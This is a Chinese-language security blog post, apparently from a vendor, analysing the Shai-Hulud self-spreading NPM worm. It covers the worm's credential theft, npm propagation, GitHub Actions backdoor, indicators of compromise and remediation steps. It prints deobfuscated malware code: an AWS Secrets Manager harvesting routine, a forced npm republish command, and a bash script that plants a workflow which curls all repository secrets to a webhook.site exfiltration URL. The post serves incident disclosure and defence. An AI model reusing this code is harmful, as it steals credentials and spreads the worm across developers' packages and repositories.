沙虫蠕虫:首个具有自我传播能力的新型NPM供应链攻击
沙虫蠕虫(Shai-Hulud)已感染超过500个NPM包,其中包括 @ctrl/tinycolor,这是一场史无前例的自我传播供应链攻击。该恶意软件使用TruffleHog窃取AWS/GCP/Azure凭证,通过GitHub Actions后门建立持久性,并自动传播到其他维护者的软件包——这标志着NPM生态系统中首次成功实现蠕虫攻击。
执行摘要
NPM生态系统正面临又一场关键的供应链攻击。热门软件包 @ctrl/tinycolor(每周下载量超过200万次)已遭到入侵,此外还有40多个跨多个维护者的软件包也受到牵连。此次攻击揭示了供应链威胁的一个重要演变——恶意软件包含一种自我传播机制,可自动感染下游软件包,从而在NPM生态系统中造成连锁性危害。受感染的版本已从npm中移除。
在本文中,我们将深入剖析有效载荷的运行机制,包括去混淆后的代码片段、API调用跟踪记录以及攻击链流程图。我们的分析表明,该攻击使用了一个约3.6MB的经过Webpack打包的bundle.js文件,会在npm install期间异步执行。这次执行很可能是通过嵌入在被入侵软件包的package.json中的postinstall脚本来触发的。
自我传播引擎
该恶意软件包含通过NpmModule.updatePackage函数实现的自我传播机制。该函数向NPM注册表API发起查询,获取维护者名下最多20个软件包,然后强制发布补丁到这些软件包。这会产生连锁入侵效应,递归地将恶意bundle注入整个NPM注册表的相关依赖生态系统中。
凭证窃取
该恶意软件重新利用了TruffleHog等开源工具来扫描文件系统中的高熵值密钥。它使用正则表达式(如AKIA[0-9A-Z]{16})搜索AWS密钥等模式。此外,该恶意软件会转储整个process.env,捕获GITHUB_TOKEN和AWS_ACCESS_KEY_ID等临时令牌。
对于云平台操作,该恶意软件使用SDK分页功能枚举AWS Secrets Manager,并通过@google-cloud/secret-manager API访问Google Cloud Platform密钥。该恶意软件专门针对以下凭证:
- GitHub个人访问令牌
- AWS访问密钥(AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY)
- Google Cloud Platform服务凭证
- Azure凭证
- 云元数据端点
- NPM认证令牌
持久性机制
该恶意软件通过注入GitHub Actions工作流文件(.github/workflows/shai-hulud-workflow.yml)来建立持久性,该文件通过base64编码的bash脚本传输。该工作流会在推送事件时触发,并使用表达式 ${{ toJSON(secrets) }}将存储库密钥外泄到命令与控制端点。该恶意软件通过强制从默认分支(refs/heads/shai-hulud)合并来创建分支,使用的是GitHub的/git/refs端点。
数据外泄
该恶意软件将窃取的凭证聚合成JSON有效载荷,并进行格式化输出以提高可读性。然后通过GitHub /user/repos API将数据上传到一个名为Shai-Hulud的新的公共存储库。
整个攻击设计假设在Linux或macOS执行环境中运行,会检查os.platform() === 'linux' || 'darwin'。它刻意跳过Windows系统。攻击流程图如下所示:
攻击机制
入侵始于一个复杂的经过混淆处理的JavaScript bundle,被注入到受影响的软件包(如@ctrl/tinycolor)中。这不是简陋的恶意软件,而是一个复杂的模块化引擎,使用Webpack分块来组织操作系统工具、云SDK和API包装器。
该有效载荷导入了六个核心模块,每个模块在攻击链中承担特定功能。
操作系统侦察(模块71197)
该模块调用getSystemInfo()来构建包含平台、架构、platformRaw和archRaw信息的综合系统配置文件。它会转储整个process.env,捕获敏感的环境变量,包括AWS_ACCESS_KEY_ID、GITHUB_TOKEN以及可能存在于环境中的其他凭证。
跨云平台的凭证窃取
AWS(模块56686)
AWS窃取模块使用STS AssumeRoleWithWebIdentityCommand验证凭证。然后使用@aws-sdk/client-secrets-manager库枚举密钥。
// Deobfuscated AWS harvest snippet
async getAllSecretValues() {
const secrets = [];
let nextToken;
do {
const resp = await client.send(new ListSecretsCommand({ NextToken: nextToken }));
for (const secret of resp.SecretList || []) {
const value = await client.send(new GetSecretValueCommand({ SecretId: secret.ARN }));
secrets.push({ ARN: secret.ARN, SecretString: value.SecretString, SecretBinary: atob(value.SecretBinary) }); // Base64 decode binaries
}
nextToken = resp.NextToken;
} while (nextToken);
return secrets;
}该模块通过decorateServiceException包装器静默处理DecryptionFailure或ResourceNotFoundException等错误。它针对所有AWS区域进行端点解析。
GCP(模块9897)
GCP模块使用@google-cloud/secret-manager列出符合模式projects/ */secrets/*的密钥。它使用nextPageToken实现分页,并返回包含密钥名称和解码有效载荷的对象。当出现PERMISSION_DENIED错误时,该模块会静默失败而不会向用户发出警报。
文件系统密钥扫描(模块94913)
该模块通过child_process.exec('trufflehog filesystem / --json')生成TruffleHog进程来扫描整个文件系统。它解析输出以查找高熵匹配项,例如在~/.aws/credentials中找到的AWS密钥。
传播机制
NPM转移(模块40766)
NPM传播模块从~/.npmrc或环境变量中解析NPM_TOKEN。在通过/whoami端点验证令牌后,它会查询/v1/search?text=maintainer:${username}&size=20来获取维护者拥有的软件包。
// Deobfuscated NPM update snippet
async updatePackage(pkg) {
// Patch package.json (add self as dep?) and publish
await exec(\`npm version patch --force && npm publish --access public --token ${token}\`);
}这会产生连锁效应:被感染的软件包导致维护者凭证受损,进而感染该用户维护的所有其他软件包。
GitHub后门(模块82036)
GitHub后门模块通过/user端点进行身份验证,需要repo和workflow权限范围。列出组织后,它会通过bash脚本(模块941)注入恶意代码。
以下是逐行bash脚本解析:
# Deobfuscated Code snippet
#!/bin/bash
GITHUB_TOKEN="$1"
BRANCH_NAME="shai-hulud"
FILE_NAME=".github/workflows/shai-hulud-workflow.yml"
FILE_CONTENT=$(cat <<'EOF'
on: push # Trigger on any push
jobs: process
runs-on: ubuntu-latest
steps:
- run: curl -d "$CONTENTS" https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; # C2 exfil
echo "$CONTENTS" | base64 -w 0 | base64 -w 0 # Double-base64 for evasion
env: CONTENTS: ${{ toJSON(secrets) }} # Dumps all repo secrets (GITHUB_TOKEN, AWS keys, etc.)
EOF
)
github_api() { curl -s -X "$1" -H "Authorization: token $GITHUB_TOKEN" ... "$API_BASE$2" }
REPOS_RESPONSE=$(github_api GET "/user/repos?affiliation=owner,collaborator,organization_member&since=2025-01-01T00:00:00Z&per_page=100")
while IFS= read -r repo; do
# Get default branch SHA
REF_RESPONSE=$(github_api GET "/repos/$REPO_FULL_NAME/git/ref/heads/$DEFAULT_BRANCH")
BASE_SHA=$(jq -r '.object.sha' <<< "$REF_RESPONSE")
BRANCH_DATA=$(jq -n '{ref: "refs/heads/shai-hulud", sha: "$BASE_SHA"}')
github_api POST "/repos/$REPO_FULL_NAME/git/refs" "$BRANCH_DATA" # Handles "already exists" gracefully
FILE_DATA=$(jq -n '{message: "Add workflow", content: "$(base64 <<< "$FILE_CONTENT")", branch: "shai-hulud"}')
github_api PUT "/repos/$REPO_FULL_NAME/contents/$FILE_NAME" "$FILE_DATA" # Overwrites if exists
done该工作流会在被感染的软件包创建包含该脚本的提交时立即执行,从而立即外泄所有密钥。
外泄
该恶意软件构建了一个包含系统信息、环境变量和所有模块数据的综合JSON有效载荷。然后通过GitHub /repos POST端点使用函数makeRepo('Shai-Hulud')创建一个公共存储库。默认情况下存储库是公开的,以确保命令与控制基础设施的便捷访问。
我们观察到数百个包含外泄凭证的此类公共存储库。对"Shai-Hulud"存储库的GitHub搜索显示此次攻击正在持续进行且范围广泛,随着更多系统执行被感染的软件包,新的存储库不断增加。
这种外泄技术与我们之前分析的Nx供应链攻击类似,攻击者同样使用公共GitHub存储库来外泄窃取的凭证。这种使用GitHub作为外泄端点的模式似乎是供应链攻击者的首选方法,因为它与正常的开发者活动融为一体,并绕过了许多传统安全控制。
这些存储库包含敏感信息。存储库的公开性质意味着任何攻击者都可以访问并可能滥用这些凭证,从而造成二次风险,超出初始入侵范围。
该攻击采用了多种规避技术,包括静默错误处理(通过catch {}块吞掉)、不产生日志输出,以及将TruffleHog执行伪装成合法的"安全扫描"。
使用Harden-Runner进行运行时分析
我们在GitHub Actions工作流中使用StepSecurity Harden-Runner分析了恶意有效载荷。Harden-Runner成功将可疑行为标记为异常。来自此测试的公开信息揭示了有效载荷的工作原理:
api.github.com
- 被感染的软件包在npm install过程中向__CF_INVALID__
发出未经授权的API调用
- 这些API交互被标记为异常,因为合法的软件包安装不应发出此类外部API调用
这些运行时检测证实了攻击的复杂性,恶意软件试图在看似常规的软件包安装过程中窃取凭证、自我传播到其他软件包以及外泄数据。
入侵指标
以下指标可帮助识别受此攻击影响的系统:
用于检测的GitHub搜索查询
使用以下GitHub搜索查询来识别组织中可能受损的存储库:
搜索恶意工作流文件
将ACME替换为您的GitHub组织名称,并使用以下GitHub搜索查询来发现您的GitHub环境中所有shai-hulud-workflow.yml实例。
CF_INLINE_CODE_19
搜索恶意分支
要查找恶意分支,您可以使用以下Bash脚本:
# List all repos and check for shai-hulud branch
gh repo list YOUR_ORG_NAME --limit 1000 --json nameWithOwner --jq '.[].nameWithOwner' | while read repo; do
gh api "repos/$repo/branches" --jq '.[] | select(.name == "shai-hulud") | "'$repo' has branch: " + .name'
done文件哈希
- 恶意bundle.js文件的SHA-256哈希为:
46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09
网络指标
- 外泄端点:
https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7
文件系统指标
- 存在恶意工作流文件:
.github/workflows/shai-hulud-workflow.yml
可疑函数调用
- 调用
NpmModule.updatePackage函数
可疑API调用
- 指向
secretsmanager.*.amazonaws.com端点的AWS API调用,特别是BatchGetSecretValueCommand - 指向
secretmanager.googleapis.com的GCP API调用 - 指向
registry.npmjs.org/v1/search的NPM注册表查询 - 指向
api.github.com/repos的GitHub API调用
可疑进程执行
- 带有参数
filesystem /的TruffleHog执行 - 带有
--force标志的NPM发布命令 - 针对webhook.site域的Curl命令
受影响的软件包
以下软件包已确认受到入侵:
| 行号 | 软件包名称 | 版本 |
|---|---|---|
| 1 | @ahmedhfarag/ngx-perfect-scrollbar | 20.0.20 |
| 2 | @ahmedhfarag/ngx-virtual-scroller | 4.0.4 |
| 3 | @art-ws/common | 2.0.22, 2.0.28 |
| 4 | @art-ws/config-eslint | 2.0.4, 2.0.5 |
| 5 | @art-ws/config-ts | 2.0.7, 2.0.8 |
| 6 | @art-ws/db-context | 2.0.24 |
| 7 | @art-ws/di | 2.0.28, 2.0.32 |
| 8 | @art-ws/di-node | 2.0.13 |
| 9 | @art-ws/eslint | 1.0.5, 1.0.6 |
| 10 | @art-ws/fastify-http-server | 2.0.24, 2.0.27 |
立即需要采取的行动
如果您使用任何受影响的软件包,请立即采取以下行动:
识别并移除被感染的软件包
# Check for affected packages in your project
npm ls @ctrl/tinycolor
# Remove compromised packages
npm uninstall @ctrl/tinycolor
# Search for the known malicious bundle.js by hash
find . -type f -name "*.js" -exec sha256sum {} \; | grep "46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09"清理被感染存储库
移除恶意GitHub Actions工作流
# Check for and remove the backdoor workflow
rm -f .github/workflows/shai-hulud-workflow.yml
# Look for suspicious 'shai-hulud' branches in all repositories
git ls-remote --heads origin | grep shai-hulud
# Delete any malicious branches found
git push origin --delete shai-hulud立即轮换所有凭证
该恶意软件从多个来源窃取凭证。请轮换以下所有凭证:
- NPM令牌(自动化和发布令牌)
- GitHub个人访问令牌
- 所有存储库中的GitHub Actions密钥
- 用于Git操作的SSH密钥
- AWS IAM凭证、访问密钥和会话令牌
- Google Cloud服务账户密钥和OAuth令牌
- Azure服务主体和访问令牌
- AWS Secrets Manager或GCP Secret Manager中存储的任何凭证
- 环境变量中的API密钥
- 数据库连接字符串
- 第三方服务令牌
- CI/CD管道密钥
审计云基础设施是否已受损
由于该恶意软件专门针对AWS Secrets Manager和GCP Secret Manager,您需要审计云基础设施是否存在未经授权的访问。该恶意软件使用API调用来枚举和外泄密钥,因此查看审计日志对于了解受损范围至关重要。
AWS安全审计
首先检查CloudTrail日志中是否存在任何可疑的密钥访问模式。特别查找在安装可能受损软件包的时间窗口内发生的BatchGetSecretValue、ListSecrets和GetSecretValue API调用。还要生成并查看IAM凭证报告,以识别任何异常的身份验证模式或新创建的访问密钥。
# Check CloudTrail for suspicious secret access
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=BatchGetSecretValue
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=ListSecrets
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue
# Review IAM credential reports for unusual activity
aws iam get-credential-report --query 'Content'GCP安全审计
对于Google Cloud Platform,查看Secret Manager服务的任何访问审计日志。该恶意软件使用@google-cloud/secret-manager库来枚举密钥,因此查找密钥访问的异常模式。此外,检查是否存在任何未经授权的服务账户密钥创建,因为这些密钥可能被用于持久访问。
# Review secret manager access logs
gcloud logging read "resource.type=secretmanager.googleapis.com" --limit=50 --format=json
# Check for unauthorized service account key creation
gcloud logging read "protoPayload.methodName=google.iam.admin.v1.CreateServiceAccountKey"监控是否存在活跃利用
网络监控
- 立即阻止指向
webhook.site域的出站连接 - 监控指向
https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7的连接防火墙日志
实施安全控制
GitHub安全加固
- 审查并移除不必要的GitHub Apps和OAuth应用程序
- 审计所有存储库Webhook是否有未经授权的添加
- 检查所有项目的部署密钥和存储库密钥
- 启用分支保护规则以防止强制推送
- 开启GitHub Secret Scanning警报
- 启用Dependabot安全更新
持续监控
- 为组织发布的任何新npm设置警报
- 监控CloudTrail/GCP审计日志中的密钥访问模式
- 实施定期凭证轮换策略
- 为CI/CD管道使用单独的、范围受限的令牌
适用于StepSecurity企业客户
以下步骤仅适用于StepSecurity企业客户。如果您不是现有企业客户,可以安装StepSecurity GitHub App来开始14天免费试用,以完成以下恢复步骤。
使用NPM软件包冷却检查
NPM Cooldown检查会在拉取请求引入在组织配置的冷却期内发布的npm软件包版本时自动使该拉取请求失败(默认:2天)。一旦冷却期过去,检查将自动清除,无需任何操作。理由很简单——大多数供应链攻击在恶意软件包发布后的前24小时内被检测到,而受到入侵的项目往往是那些急于采用新版本的项目。通过在允许新依赖项之前引入一个短暂的等待期,团队可以在保持依赖项更新的同时减少接触新攻击的风险。
以下是展示此检查如何保护项目免受此次事件中受影响软件包受损版本影响的示例:
CF_INLINE_CODE_18
发现升级到受损npm软件包的拉取请求
我们添加了一个新的控制项,专门用于检测升级到这些受损软件包的拉取请求。您可以在StepSecurity仪表板上找到新的控制项。
使用StepSecurity Harden-Runner检测CI/CD中受损的依赖项
StepSecurity Harden-Runner为GitHub Actions工作流添加运行时安全监控,在CI/CD运行期间提供网络调用、文件系统更改和进程执行的可见性。当在CI/CD中使用受损的nx软件包时,Harden-Runner可以检测到它们。以下是一个展示此检测功能的Harden-Runner洞察页面示例:
CF_INLINE_CODE_20
如果您已经在使用Harden-Runner,我们强烈建议您查看Harden-Runner仪表板中最近的异常检测。您可以按照指南开始使用Harden-Runner:https://docs.stepsecurity.io/harden-runner。
使用StepSecurity Threat Center获取实时供应链威胁情报
StepSecurity Threat Center提供关于此次@ctrl/tinycolor入侵及所有40多个受影响软件包的详细信息。通过您的仪表板访问Threat Center,查看IOC、修复指导以及在新受损软件包被发现时的实时更新。威胁警报通过AWS S3和Webhook集成自动传送到您的SIEM,在供应链攻击发生时实现即时事件响应。我们的检测系统在恶意软件包发布后几分钟内就识别出了此次攻击,在广泛利用之前提供了早期预警。
使用StepSecurity Artifact Monitor检测授权管道外发布的软件版本
StepSecurity Artifact Monitor通过持续监控软件包注册表中的软件工件,提供对未经授权软件版本发布的实时检测。该工具本可以通过检测受损版本是在项目的授权CI/CD管道外发布的来标记此事件。该监控器跟踪发布模式、验证来源,并在软件包通过异常渠道或从未预期位置发布时提醒团队。通过实施Artifact Monitor,组织可以在数分钟内而不是数小时或数天内发现供应链受损,显著减少接触恶意软件包的窗口期。
了解有关在安全工作中实施Artifact Monitor的更多信息,请访问https://docs.stepsecurity.io/artifact-monitor。
致谢
- npm安全团队和软件包维护者的快速响应
- @franky47通过GitHub issue迅速通知社区
- Daniel dos Santos Pereira在LinkedIn帖子中标记可疑行为
安全研究人员、维护者和社区成员的协作努力在防御供应链攻击方面继续发挥着关键作用。
参考资料
GitHub Issue
Socket.dev博客文章